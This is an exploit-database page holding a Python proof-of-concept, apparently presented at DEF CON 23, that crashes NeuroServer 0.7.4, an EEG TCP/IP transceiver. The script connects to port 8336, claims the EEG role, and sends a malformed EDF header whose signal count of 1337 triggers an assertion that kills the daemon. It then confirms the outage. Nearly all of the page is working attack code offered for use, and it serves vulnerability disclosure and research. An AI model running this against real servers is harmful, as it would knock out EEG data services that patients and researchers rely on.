NeuroServer 0.7.4 – EEG TCP/IP Transceiver Remote Denial of Service

  • 作者: nitr0us
    日期: 2015-08-12
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/37759/
  • #!/usr/bin/env python
    #
    # NeuroServer 0.7.4 Remote DoS
    #
    # Shown at DEF CON 23 (BioHacking Village)
    # Brain Waves Surfing - (In)Security in EEG (Electroencephalography) Technologies
    # Slides: http://goo.gl/44r1HH
    #
    # NeuroServer is an EEG (Electroencephalography) TCP/IP Transceiver
    # http://openeeg.sourceforge.net/doc/sw/NeuroServer/
    #
    # Neuroserver mediates between the raw EEG devices and all the various EEG 
    # applications that the user may wish to run to analyse the incoming EEG data. 
    # Data is transmitted using TCP/IP, which means that the EEG data can just as 
    # easily pass over a network (or even the internet) as stay on the same machine. 
    # Standard EDF is used for header information and for file storage. 
    # The server is designed to run on Windows and Linux.
    # 
    #------------------------------------------------------------------------------
    #
    # nsd (NeuroServer Daemon) stops if any assertion is triggered inside isValidREDF() at
    # ~/NeuroServer-0.7.4/src/openedf.c:
    # ...
    # assert(isValidREDF(result));
    # ...
    # int isValidREDF(const struct EDFDecodedConfig *cfg)
    # {
    # int i;
    # if (cfg->hdr.dataRecordSeconds != 1.0) {
    # setLastError("The data record must be exactly 1 second, not %f.",
    #cfg->hdr.dataRecordSeconds);
    # return 0;
    # }
    # if (cfg->hdr.dataRecordChannels < 1) {
    # setLastError("The data record must have at least one channel.");
    # return 0;
    # }
    # if (cfg->chan[0].sampleCount < 1) {
    # setLastError("Channel 0 must have at least one sample.");
    # return 0;
    # }
    # for (i = 1; i < cfg->hdr.dataRecordChannels; ++i) {
    # if (cfg->chan[i].sampleCount != cfg->chan[0].sampleCount) {
    # setLastError("Channel %d has %d samples, but channel 0 has %d.These must be the same.", cfg->chan[i].sampleCount, cfg->chan[0].sampleCount);
    # return 0;
    # }
    # }
    # return 1;
    # }
    #
    
    import socket
    import time
    import sys
    
    # Malformed EDF header
    # Spec: http://www.edfplus.info/specs/edf.html
    EDF= "0 " # Version
    EDF += "Alejandro Hernandez " # Patient Identification
    EDF += "NeuroSky MindWave " # Recording Identification
    EDF += "07.04.1520.55.28768 EDF+C " # Startdate of Recording
    EDF += "29" # Number of Data Records
    EDF += "1 " # Duration of a Data Record in Seconds
    EDF += "1337" # Number of Signals. This value triggers the DoS: assert(cfg->hdr.dataRecordChannels < MAXCHANNELS);
    EDF += "Electrode EDF Annotations "# Labels and other data per channel
    EDF += "-32768-132767 1 -32768-3276832767 32767 " # PhysiMin PhysiMax DigiMin DigiMax
    
    if len(sys.argv) != 2:
    	print 'Usage: ' + __file__ + ' <NeuroServer IP>'
    	sys.exit(1)
    
    print r'''
     __,--"""""""""--,.
     _ -\'"_\ ^-,_
    ,-" _/\_
     ,/\\
     ,'/_| \
    / _____,--""" / ) \
     / / / ( |
    |//) |
    | /NeuroServer 0.7.4 Remote DoS \
    ( (_/\) /\
     \\_____,===="""/|
    \/"/"" |
     \__,-" |___,-'--------'"|
     "`------"" --" ,-'/
    / ---"/
    \___/__,-----,___ )
    \ ,--'"============""""-'"
     "-'" ||=================/
    /___\===============/
     /|=============/"
     \ \_________,-"
     | |
     | |
    '''
    
    neuroserver = (sys.argv[1], 8336)
    
    s = socket.socket()
    
    print '|- Connecting to %s on port %s\n' % neuroserver
    try:
    	s.connect(neuroserver)
    except Exception, e:
    	print '|- Can\'t connect to %s:%d' % neuroserver
    	print '|- Exception: %s' % (e)
    	sys.exit(1)
    
    print '|- Entering in EEG role. NeuroServers\' response:'
    s.send('eeg\n') # EEG role in NeuroServer
    print '----------------------------------------------'
    print s.recv(16).strip('\n')
    print '----------------------------------------------'
    
    print '|- Sending Malformed EDF header (%d bytes):' % len(EDF)
    print '----------------------------------------------'
    print EDF
    print '----------------------------------------------\n'
    s.send('setheader ' + EDF + '\n')
    
    time.sleep(4)
    
    print '|- NeuroServer should be dead now. Connecting...\n'
    try:
    	s = socket.socket()
    	s.connect(neuroserver)
    except Exception, e:
    	print '|- NeuroServer is down !'
    	print '|- Exception: %s' % (e)
    else:
    	print '|- NeuroServer is still alive :-\, try again...'
    finally:
    	s.close()
    
    sys.exit(0);